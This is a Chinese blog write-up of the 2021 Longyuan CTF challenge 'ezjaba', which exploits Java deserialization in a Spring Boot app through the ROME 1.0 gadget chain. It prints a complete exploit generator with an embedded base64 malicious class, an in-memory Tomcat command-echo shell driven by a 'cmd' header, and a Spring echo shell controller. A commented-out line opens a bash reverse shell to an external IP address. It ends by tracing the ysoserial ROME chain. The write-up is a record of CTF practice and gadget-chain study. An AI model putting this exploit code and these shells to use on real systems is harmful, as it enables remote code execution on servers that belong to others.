陇原战役2021 ezjaba

题目分析
在这里插入图片描述
spring-boot 用的ROME1.0
在这里插入图片描述
ysoserial上的利用链,可见是通过HashMap触发的
在这里插入图片描述
题中ban掉了HashMap
在这里插入图片描述
但可以发现下面直接调用了toString方法,所以我们直接截取利用链的后一半,反序列化ObjectBean并调用toString即可

exp

package com.summer.rome;

import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class RomeUn {
    public static void main(String[] args) throws Exception{
    //直接执行命令的方式
       // ClassPool pool = ClassPool.getDefault();
        //CtClass cc = pool.get(RomeUn.class.getName());
			// String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";         
       // String ClassName = "biodog_evil";
      //  cc.setName(ClassName);
      //  cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
      //  cc.writeFile("./");
       // String evilClass="yv66vgAAADQA2AoANgBeCgBfAGAHANUKAGIAYwoAXwBkCABlCgBmAGcKAGgAaQcAagoACQBeCABrCgAJAGwKAG0AbgoACQBvCgAJAHAKAGYAcQcAcgoAZgBzCAB0CgBmAHUKAGYAdgcAdwoAFgBeCAB4BwBKCgB5AHoIAHsIAHwIAH0HAH4KAB4AXgcAfwcAgAoAIACBBwCCCgAjAIEHAIMHAIQKACUAgQcAhQoAKABeBwCGCgAqAIcKACoAiAoAKACJCgAqAIoKAIsAjAoAjQCOCQBtAI8IAJAIAJEKACYAkgoAkwCUBwCVAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL3N1bW1lci9yb21lL1JvbWVVbjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAEcG9vbAEAFUxqYXZhc3Npc3QvQ2xhc3NQb29sOwEAAmNjAQATTGphdmFzc2lzdC9DdENsYXNzOwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAD3JhbmRvbUNsYXNzTmFtZQEACGV2aWxDb2RlAQACW0IBAAl0ZW1wbGF0ZXMBADxMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3RyYXgvVGVtcGxhdGVzSW1wbDsBAAx0b1N0cmluZ0JlYW4BACxMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvVG9TdHJpbmdCZWFuOwEACmVxdWFsc0JlYW4BACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjsBAApvYmplY3RCZWFuAQAqTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL09iamVjdEJlYW47AQAVYnl0ZUFycmF5T3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA291dAEAHExqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbTsBAANzc3MBAANleHABAApFeGNlcHRpb25zBwCWAQAQTWV0aG9kUGFyYW1ldGVycwEAClNvdXJjZUZpbGUBAAtSb21lVW4uamF2YQwANwA4BwCXDACYAJkBABZjb20vc3VtbWVyL3JvbWUvUm9tZVVuBwCaDACbAJwMAJ0AngEAMGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjLmV4ZSIpOwcAnwwAoAChBwCiDACjAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAB25pY2UwZTMMAKUApgcApwwAqACpDAClAKoMAKsAnAwArACkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAwArQCuAQACLi8MAK8ApAwAsACxAQA6Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3RyYXgvVGVtcGxhdGVzSW1wbAEACl9ieXRlY29kZXMHALIMALMAtAEABV9uYW1lAQAEZmVuZwEACV90ZmFjdG9yeQEAQ2NvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy90cmF4L1RyYW5zZm9ybWVyRmFjdG9yeUltcGwBACpjb20vc3VuL3N5bmRpY2F0aW9uL2ZlZWQvaW1wbC9Ub1N0cmluZ0JlYW4BAB1qYXZheC94bWwvdHJhbnNmb3JtL1RlbXBsYXRlcwwANwC1AQAoY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbgEAKGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL09iamVjdEJlYW4BABBqYXZhL2xhbmcvU3RyaW5nAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BABpqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbQwANwC2DAC3ALgMALkAsQwAugA4BwC7DAC8AL8HAMAMAMEAwgwAVQDDAQABKwEAAyUyYgwAxADFBwDGDADHAKQBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhc3Npc3QvQ3RDbGFzczsBABFqYXZhc3Npc3QvQ3RDbGFzcwEAFG1ha2VDbGFzc0luaXRpYWxpemVyAQAbKClMamF2YXNzaXN0L0N0Q29uc3RydWN0b3I7AQAXamF2YXNzaXN0L0N0Q29uc3RydWN0b3IBAAxpbnNlcnRCZWZvcmUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQAIbmFub1RpbWUBAAMoKUoBABwoSilMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAdzZXROYW1lAQANc2V0U3VwZXJjbGFzcwEAFihMamF2YXNzaXN0L0N0Q2xhc3M7KVYBAAl3cml0ZUZpbGUBAAp0b0J5dGVjb2RlAQAEKClbQgEAHWNvbS9zdW1tZXIvdXRpbC9TZXJpYWxpemVVdGlsAQANc2V0RmllbGRWYWx1ZQEAOShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAJihMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEAC3dyaXRlT2JqZWN0AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQALdG9CeXRlQXJyYXkBAAVjbG9zZQEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHAMkBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DADLAMwKAMoAzQEACGNhbGMuZXhlCADPAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwA0QDSCgDKANMBABZuaWNlMGUzMTMxOTkwMDAzNDc0MjAwAQAYTG5pY2UwZTMxMzE5OTAwMDM0NzQyMDA7CgARAF4AIQADABEAAAAAAAMAAQA3ADgAAQA5AAAALwABAAEAAAAFKrcA17EAAAACADoAAAAGAAEAAAAUADsAAAAMAAEAAAAFADwA1gAAAAkAPgA/AAMAOQAAAe8ABgAOAAAA57gAAkwrEgO2AAS2AAVNEgZOLLYABy22AAi7AAlZtwAKEgu2AAy4AA22AA62AA86BCwZBLYAECwrEhG2AAS2AAW2ABIsEhO2ABQstgAVOgW7ABZZtwAXOgYZBhIYBL0AGVkDGQVTuAAaGQYSGxIcuAAaGQYSHbsAHlm3AB+4ABq7ACBZEiEZBrcAIjoHuwAjWRIgGQe3ACQ6CLsAJVkSJhIctwAnOgm7AChZtwApOgq7ACpZGQq3ACs6CxkLGQm2ACwZCrYALToMGQu2AC64AC8ZDLYAMDoNsgAxGQ0SMhIztgA0tgA1sQAAAAIAOgAAAGIAGAAAABYABAAXAA4AGQARABsAGQAdADAAHgA2ACAAQwAiAEkAIwBPACQAWAAlAGgAJgBxACcAfwApAIwAKgCZACwApgA4AK8AOQC6ADoAwQA7AMgAPADNAD0A1wA+AOYAQAA7AAAAjgAOAAAA5wBAAEEAAAAEAOMAQgBDAAEADgDZAEQARQACABEA1gBGAEcAAwAwALcASABHAAQATwCYAEkASgAFAFgAjwBLAEwABgCMAFsATQBOAAcAmQBOAE8AUAAIAKYAQQBRAFIACQCvADgAUwBUAAoAugAtAFUAVgALAMgAHwBXAEoADADXABAAWABHAA0AWQAAAAQAAQBaAFsAAAAFAQBAAAAACADIADgAAQA5AAAAFgACAAAAAAAKuADOEtC2ANRXsQAAAAAAAgBcAAAAAgBdAL4AAAAKAAEAjQCLAL0ACQ==";
        //  evilcode 为base64的恶意类 cat biodog_evil.class|base64 -w 0 
      //  byte[][] evilCode = new byte[][]{Base64.getDecoder().decode(evilClass)};
      //decode
//*************************************
//不出网,加载恶意类的方式
		byte[][] evilCode=new byte[][]{ClassPool.getDefault().get(EvilTemplate.class.getName()).toBytecode()};

        // 实例化类并设置属性
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, evilCode);

        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "test");

        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());


        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(objectBean1);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);

        System.out.println(exp);

    }
}

本地可通的版本过了blacklist,但原题不出网
r2师傅的不出网恶意tmpl

//EvilTemplate
package com.summer.rome;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Map;

public class EvilTemplate extends AbstractTranslet implements Serializable {

    static Process exec(String[] cmds) {
//        try {
//            return Runtime.getRuntime().exec(cmds);
//        } catch (IOException e) {
//            return null;
//        }
        try {
            Class clz = Class.forName("java.lang.ProcessImpl");
            Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            method.setAccessible(true);
            Process process = (Process) method.invoke(clz, cmds, null, null, null, false);
            return process;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    static{
//        exec(new String[]{"bash","-c","bash -i >& /dev/tcp/114.55.6.148/8899 0>&1 "});
        exec(new String[]{"calc.exe"});
        try{
            boolean flag = false;
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
            f.setAccessible(true);
            Thread[] threads = (Thread[]) f.get(group);
            for(int i = 0; i < threads.length; i++) {
                try{
                    Thread t = threads[i];
                    if (t == null) continue;
                    String str = t.getName();
                    if (str.contains("exec") || !str.contains("http")) continue;
                    f = t.getClass().getDeclaredField("target");
                    f.setAccessible(true);
                    Object obj = f.get(t);
                    if (!(obj instanceof Runnable)) continue;
                    f = obj.getClass().getDeclaredField("this$0");
                    f.setAccessible(true);
                    obj = f.get(obj);
                    try{
                        f = obj.getClass().getDeclaredField("handler");
                    }catch (NoSuchFieldException e){
                        f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                    }
                    f.setAccessible(true);
                    obj = f.get(obj);
                    try{
                        f = obj.getClass().getSuperclass().getDeclaredField("global");
                    }catch(NoSuchFieldException e){
                        f = obj.getClass().getDeclaredField("global");
                    }
                    f.setAccessible(true);
                    obj = f.get(obj);
                    f = obj.getClass().getDeclaredField("processors");
                    f.setAccessible(true);
                    java.util.List processors = (java.util.List)(f.get(obj));
                    for(int j = 0; j < processors.size(); ++j) {
                        Object processor = processors.get(j);
                        f = processor.getClass().getDeclaredField("req");
                        f.setAccessible(true);
                        Object req = f.get(processor);
                        Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
                        str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
                        if (str != null && !str.isEmpty()) {
                            resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                            String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
                            byte[] result = (new java.util.Scanner(exec(cmds).getInputStream())).useDelimiter("\\A").next().getBytes();
                            try {
                                Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                                obj = cls.newInstance();
                                cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
                                resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                            } catch (Exception var5) {
                                Class cls = Class.forName("java.nio.ByteBuffer");
                                obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
                                resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                            }
                            flag = true;
                        }
                        if (flag) break;
                    }
                    if (flag)  break;
                }catch(Exception e){
                    e.printStackTrace();
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }



    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

    }
}

github上的

package summersec.echo.Controller;

import org.springframework.stereotype.Controller;
//import com.management.bean.User;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;

/**
 * @ClassName: SpringMVCTestController
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/6/17 18:25
 * @Version: v1.0.0
 * @Description:
 **/
@Controller
class SpringEcho {

    @RequestMapping(value = "springecho")
    public void SpringEcho2()throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }
}

https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java

值得一提的是他写了个SecurityManagere,如下,但好像并没有调用
在这里插入图片描述
绕过方法参考https://www.anquanke.com/post/id/151398

分析一下ysoserial的ROME链
exp

public class ROME1 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");
        // 写法一:直接设置ToStringBean,设置_equalsBean的_beanClass和_obj
        // ToStringBean delegate = new ToStringBean(Templates.class, templates);
        // 写法二:设置ObjectBean,后续还是会调用ToStringBean的
        ObjectBean delegate = new ObjectBean(Templates.class, templates);
        // 设置一个无害的先
        ObjectBean parent = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "noharm"));
        HashMap hm = new HashMap();
        hm.put(parent, "diggid");
        hm.put("diggid", "diggid");

        // 和写法一对应
        // Reflections.setFieldValue(parent, "_equalsBean", new EqualsBean(ToStringBean.class, delegate));
        // 和写法二对应
        Reflections.setFieldValue(parent, "_equalsBean", new EqualsBean(ObjectBean.class, delegate));
        Serializer.writeToFile("src/main/java/gadgets/rome/exp.bin", hm);
        Serializer.readFromFile("src/main/java/gadgets/rome/exp.bin");
    }
}

我们把原题中对HashMap的限制去掉
直接传入HashMap类,把ObjectBean放进去
在这里插入图片描述在这里插入图片描述
成功传入并执行readObject go on
执行hashMap的readobject方法时会执行到hash方法,当传入ObjectBean时会进入ObjectBean的hashCode方法
在这里插入图片描述在这里插入图片描述
然后执行equalsBean.beanHashCode()
在这里插入图片描述会执行一个toString,后面打的断点没停就已经能弹出计算器了…不知道是不是IJ的问题,但我们继续挖一下,可以看到obj是一个ObjectBean,所以执行的是ObjectBean的toString
在这里插入图片描述
ObjectBean的toString调用了toStringBean的toString
在这里插入图片描述
先调用无参的,获取类名
在这里插入图片描述传进有参的,先获取getter/setter
这里参考https://blog.diggid.top/2021/09/21/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%E5%88%86%E6%9E%90-ROME-BeanShell-C3P0/#%E5%88%A9%E7%94%A8%E9%93%BE
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

获取getter/setter的逻辑是,先从_introspected这个HashMap中获取(相当于一个缓存),一开始肯定获取不到,所以会调用getPDs方法去获取,获取到之后再缓存到_introspected中,获取的逻辑比较清晰,和大部分获取java
bean的getter/setter的逻辑基本一样:先获取所有方法,然后根据方法名来获取getter和setter,比如getter就是开头是”get”或”is”,由于这里不是根据属性名匹配的getter,所以只需要考虑开头就行了,不需要匹配属性名,setter同理。获取到getter的PropertyDescriptor后,建立PropertyName(getter名字去掉get且第四个字符小写)和PropertyDescriptor的映射关系放入HashMap中
假设我们设置的_beanClass是Templates,那么获取到的getter就只有getOutputProperties了。

获取到后invoke

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值